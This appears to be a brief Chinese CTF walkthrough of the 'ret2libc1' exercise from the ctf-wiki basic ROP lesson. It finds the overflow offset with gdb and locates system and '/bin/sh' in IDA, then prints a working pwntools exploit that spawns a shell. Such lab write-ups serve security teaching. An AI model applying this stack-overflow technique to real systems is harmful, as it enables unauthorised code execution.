wiki上的链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
checksec ret2libc1
开启了NX堆栈不可执行保护

放入ida,找到main函数,F5

发现gets函数
shift+F12查找字符串,可以找到system和/bin/sh

/bin/sh地址为0x08048720

点击左边函数_system,找到它的地址0x08048460

gdb ret2libc1,r运行,输入乱码,找偏移为112

exp如下
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p = process('./ret2libc1')
system = 0x08048460
binsh = 0x08048720
payload = 'A' * 112 + p32(system)
payload += 'A' * 4 + p32(binsh)
p.sendline(payload)
p.interactive()
运行exp即可成功

网友评论